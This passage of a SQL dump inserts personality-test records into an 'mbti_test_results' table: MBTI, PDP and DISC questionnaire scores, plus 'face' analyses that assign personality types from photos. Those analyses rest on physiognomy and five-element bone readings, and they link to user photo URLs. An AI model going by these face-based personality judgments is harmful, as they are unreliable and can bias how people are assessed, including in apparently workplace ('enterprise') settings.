\"额头平阔饱满,眉眼清晰专注,鼻梁端正略挺,嘴型收敛有度,下巴方正有力,整体显沉稳理性与执行力。\", \"personalitySummary\": \"思维缜密,有规划意识与责任感,行动节奏稳中有进,对目标坚持度高,处事理性克制,人际中略带距离感但可信赖。\"}', NULL, NULL, 1, 0, 1, NULL, 1772428086, 1772428086, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (52, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静克制,思维细腻深邃,兼具理性分析与温和共情,适合在稳定而需创意与规划的环境中长期深耕。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部骨量匀称偏纤细,为木水兼具之相,骨感不突兀而脉络清晰,格局重于思考与审美判断,擅长以柔性持续承压。\", \"faceAnalysis\": \"额头偏高饱满,眼神柔中带定,鼻梁清秀,唇形收敛,下巴略尖,整体给人理性内向、思路清晰而不张扬之感。\", \"personalitySummary\": \"内向深思型,重视原则与边界,做事有规划感与责任心;情绪外显不多却具同理心,人际偏安静克制,习惯以专业与作品说话。\"}', NULL, NULL, 1, 0, 2, NULL, 1772518933, 1772518933, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (53, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、冷静克制,擅长体系化规划与长期布局,重视效率与结果。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏金水形,骨骼匀称不突兀,颧鼻稳而不霸,下颌承载力佳,上停清朗、中停坚实、下停厚稳,格局重在谋划与稳健推进。\", \"faceAnalysis\": \"额头饱满开阔,眉眼沉稳专注,鼻梁挺直收束有力,嘴型紧实偏直率,下颌轮廓清晰,整体给人理性克制、目标明确之感。\", \"personalitySummary\": \"内向理性,重视逻辑与结构,决策审慎而有主见;偏好独立思考与深度研究,人际保持适度距离,擅长在复杂情境中制定长期策略并稳步推进。\"}', NULL, NULL, 1, 0, 2, NULL, 1772520541, 1772520541, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (54, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密果断,擅长抽象推演与系统规划,重视长期价值与可控风险。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏木金形,骨架清晰而不突兀,颧区略显力量但内敛,将军骨与下颌稳固,属稳健谋划型格局,重视结构与秩序。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注内敛,鼻梁端正稳健,嘴型收敛有度,下巴轮廓分明,整体给人理性、克制且有主见的印象。\", \"personalitySummary\": \"性格独立冷静,逻辑感强,偏内向思考型,重视规则与效率,做事有计划、有原则,关注长期布局,社交上有边界感但可靠可信。\"}', NULL, 52, 1, 0, 200, NULL, 1772520586, 1772520593, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (55, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性缜密、目标清晰,重视长期布局与系统性成就,兼具专注深耕与稳健掌控能力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨架端正紧致,五行为金水兼具,骨肉停匀,颧骨含而不露、下颌稳实,格局偏中高,宜以智谋统筹和专业深耕见长。\", \"faceAnalysis\": \"额头饱满开阔,眼神内敛而专注,鼻梁端正稳固,唇形收敛理性,下巴略方显坚毅,整体面相偏冷静克制。\", \"personalitySummary\": \"思维高度抽象与系统化,重逻辑与效率,做事有计划有节奏,人际交往内敛克制但可靠,擅在相对独立和高要求环境中发挥战略与专业优势。\"}', NULL, 54, 1, 0, 2, NULL, 1772520623, 1772523215, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (56, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"思维谨慎稳健,重视现实与责任,做事有规划,能在长期项目和复杂环境中稳定推进目标。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e22245.39292597.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65eab8e8.93002415.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e87472.26700122.jpg\"], \"boneAnalysis\": \"骨相偏土金形,骨肉匀称略偏厚重,颧骨不张但有力,下颌承载感强,整体气质务实稳健,以守成见长。\", \"faceAnalysis\": \"额头宽平、眼神内敛稳定,鼻梁端正偏实,嘴型收敛,下颌与腮部较厚,整体表情克制理性。\", \"personalitySummary\": \"性格内敛理智,责任心强,重视规则和秩序,做事有条理有耐心,偏向深思熟虑后再行动,可靠可信,适合承担长期稳定而关键的职责。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535666, 1772535666, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (57, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"理性务实,思路清晰,重视责任与结果,适合承担长期稳定而高标准的工作任务。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg\"], \"boneAnalysis\": \"骨感含蓄不外露,颧骨内敛带角,面廓偏长方形,上停与中停协调,下颌骨线条清楚,属稳健持久型格局。\", \"faceAnalysis\": \"额头平阔顺正,眼神沉稳内敛,鼻梁端正,嘴型收敛,下巴略尖偏窄,整体五官紧致理性。\", \"personalitySummary\": \"性格内敛谨慎,有条理而重规则,做事稳妥细致,抗压能力佳但情绪表达节制,更偏向理性分析与实际成效。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535717, 1772535717, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (58, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"务实细致、思路清晰,责任感强,重视承诺与结果,适合稳健推进型工作与管理角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg\"], \"boneAnalysis\": \"骨相偏土金形,颧骨内敛不张扬,颌骨稳厚承载力佳,骨肉均衡,格局以稳健守成、注重长期积累见长。\", \"faceAnalysis\": \"额头开阔偏方,眼神凝定带戒心,鼻梁顺直山根清晰,嘴形收敛有度,下巴略方,整体给人理性稳重、做事有分寸感。\", \"personalitySummary\": \"性格内敛理性,重视秩序与规则,行事谨慎踏实,有担当不轻言放弃,对自己和他人要求较高,适合负责关键细节与长线项目。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535749, 1772535749, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (59, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、判断稳重,擅长规划与分析,重视长期价值与现实落地,适合在复杂环境中做决策与统筹。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd222d9d6.63864125.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd22f52f8.29998949.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd25fb710.46559655.jpg\"], \"boneAnalysis\": \"五行偏土金形,骨架端正不夸张,骨肉均衡偏含蓄,决断稳中带慎,抗压方式以冷静思考、稳健推进为主,擅长在中长期阶段持续发力。\", \"faceAnalysis\": \"额头较饱满,眼神内敛专注,鼻梁端正,嘴型收敛,下巴略内收但轮廓清晰,整体给人理性、稳重、审慎之感。\", \"personalitySummary\": \"性格内敛理性,重视逻辑与结构,做事先谋后动,偏好独立思考与深度研究,人际上有边界感但可靠度高,适合作为长期项目与关键事务的负责人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535779, 1772535779, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (60, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向开朗,思维活跃,创意十足,擅长用幽默与热情影响他人,适合做连接人与资源的桥梁型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"面部线条柔中带劲,骨感不重但轮廓清晰,属于火木偏盛之相,重在灵动与扩散影响力。\", \"faceAnalysis\": \"圆润额头与上扬眉眼给人亲和感和少年气,神态生动,情绪表达自然,善于拉近人际距离。\", \"personalitySummary\": \"重视兴趣与价值认同,直觉主导,点子多,表达欲强,乐于社交与分享,喜欢在轻松自由的环境中高效输出。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772607899, 1772607899, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (61, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向热情,创意十足,善于沟通与启发他人,适合需要人际互动和创意表达的领域。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相柔中带刚,上庭开朗,中停丰盈,下停稳实,整体气质活跃而不失稳定支撑。\", \"faceAnalysis\": \"五官圆润亲和,笑意明显,整体给人开放友善、易于接近且富有幽默感的印象。\", \"personalitySummary\": \"思维发散、有想象力,重视情感与价值认同,人际表达自然灵活,乐于尝试新事物并激发团队氛围。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772608243, 1772608243, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (62, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向开朗,思维活跃,有创意与感染力,适合做连接人与资源的桥梁型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"上停饱满、颧区柔和不突,中停与下停过渡圆顺,骨感适中,重在亲和力与适配力而非强势掌控。\", \"faceAnalysis\": \"额头圆润开阔,眼神生动带笑,嘴角上扬,整体给人亲切乐观、灵动机敏的印象。\", \"personalitySummary\": \"性格热情真诚,富有好奇心与想象力,乐于表达与分享,善于激励他人与营造轻松氛围,创意多且点子活跃。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772608768, 1772608768, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (63, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向热情、思维活跃,善于启发他人与整合资源,适合在变化环境中发挥影响力与创造力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"颧骨与下颌圆润不失力度,骨肉匀称,属木火偏旺之相,重在创意表达与人际影响,抗压方式以灵活变通为主。\", \"faceAnalysis\": \"额头饱满开阔,眼神灵动带笑,鼻口协调度高,整体面相亲和中带果断,善社交且具一定执行力。\", \"personalitySummary\": \"性格开朗真诚,思维发散而富想象,重视价值与理想,待人友善有感染力,适合在团队中承担创意与联络角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772768944, 1772768944, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (64, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"形象开朗温和,思维活跃有创意,人际感知敏锐,适合做连接资源、启发他人的角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相圆润不突兀,骨肉均衡,气质偏灵动与亲和,重在人缘与适应力而非强势压迫感。\", \"faceAnalysis\": \"额头圆阔,五官柔和舒展,笑眼弯弯,整体给人亲切、外向、易亲近的印象。\", \"personalitySummary\": \"热情友好,想象力强,重视价值与意义,善于与人沟通联结,适合在多变环境中发挥创意与影响力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772769074, 1772769074, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (65, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、重视逻辑与结构,擅长规划与评估,在稳定框架中持续优化与精进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相匀称偏稳,颧额不过分外张,属谋划与判断型,多以深思熟虑与持续精进取胜。\", \"faceAnalysis\": \"额庭饱满、眼神专注,鼻部端正,嘴角收敛,整体给人理性内敛、思考充分后再行动的印象。\", \"personalitySummary\": \"理性冷静,重视体系与长远收益,偏内向不事张扬,做事有计划感与原则边界,适合策略规划与专业深耕。\"}', NULL, NULL, 1, 0, 100, NULL, 1772777210, 1772777210, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (66, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、擅长系统规划与判断,全局视角突出,适合承担决策与策略类核心岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相端正不张扬,骨肉均衡偏理性持重型,颧区与下颌承载力佳,属稳中带锋,长线发展潜力强。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注稳定,鼻梁端正有力,嘴型收敛清晰,下巴稳实,整体给人思虑深远、行事有度的印象。\", \"personalitySummary\": \"思维缜密独立,重逻辑与结构,决策前充分评估风险与收益,人际中有边界感但可靠度高,善于在复杂环境中找到最优解。\"}', NULL, NULL, 1, 0, 101, NULL, 1772777310, 1772777310, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (67, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 8, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-06T06:09:01.675Z\", \"confidence\": 100, \"completedAt\": \"2026-03-06T06:09:01.675Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 18, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 8, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 7, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, 101, NULL, 1772777341, 1772777341, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (68, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 1, \"Tiger\": 19, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Koala\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-03-06T06:10:13.546Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 5, \"Tiger\": 95, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 17, \"secondaryType\": \"Koala\"}', NULL, NULL, 1, 0, 101, NULL, 1772777413, 1772777413, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (69, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-03-06T06:10:46.131Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 7, \"secondaryType\": \"I\"}', NULL, NULL, 1, 0, 101, NULL, 1772777446, 1772777446, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (70, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、谋略清晰,擅长系统规划与稳健决策,适合深度思考与长期项目主导。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相均衡偏稳,额骨与颧骨不露锋芒但有内劲,下颌扎实,整体属稳健持久型格局。\", \"faceAnalysis\": \"额头饱满开阔,眉眼沉稳聚焦,鼻形端正收敛,嘴角含蓄不张扬,下巴圆厚有承载力。\", \"personalitySummary\": \"思维缜密,重逻辑与结构,情绪克制,做事有节奏感和计划性,偏独立决策与深度钻研。\"}', NULL, NULL, 1, 0, 200, NULL, 1772777563, 1772777563, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (71, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 1, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 1, \"S\": 7, \"T\": 6}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-06T06:13:16.011Z\", \"confidence\": 93, \"completedAt\": \"2026-03-06T06:13:16.011Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 24, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 1, \"dominant\": \"J\", \"percentage\": 86}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 1, \"T\": 6, \"dominant\": \"T\", \"percentage\": 86}}}', NULL, NULL, 1, 0, 200, NULL, 1772777596, 1772777596, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (72, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-06T06:14:30.403Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 14, \"secondaryType\": \"Tiger\"}', NULL, NULL, 1, 0, 200, NULL, 1772777670, 1772777670, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (73, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、善于筹划与评估风险,重视长远布局与体系化推进,适合承担决策与策略设计角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏金水形,骨肉匀称,颧骨内敛不外突,整体气质内敛克制,重逻辑与规则,行动稳健不张扬。\", \"faceAnalysis\": \"额头开阔、眼神专注,鼻梁端正,口形收敛,整体给人理性稳重、思路清晰且有节制的印象。\", \"personalitySummary\": \"性格理性冷静,重视结构与效率,偏内向独立,有清晰原则与边界,擅长在安静环境中深度思考与规划。\"}', NULL, NULL, 1, 0, 101, NULL, 1772779082, 1772779082, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (74, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、谋略周全,擅长系统规划与风险控制,适合掌舵长线项目与关键决策岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨骼线条分明不张扬,属木土兼具之稳健格局,重视结构与秩序,行动节奏耐心持久。\", \"faceAnalysis\": \"额头开阔、五官端正,眼神专注沉稳,整体给人理智可信、思维缜密且有主见的印象。\", \"personalitySummary\": 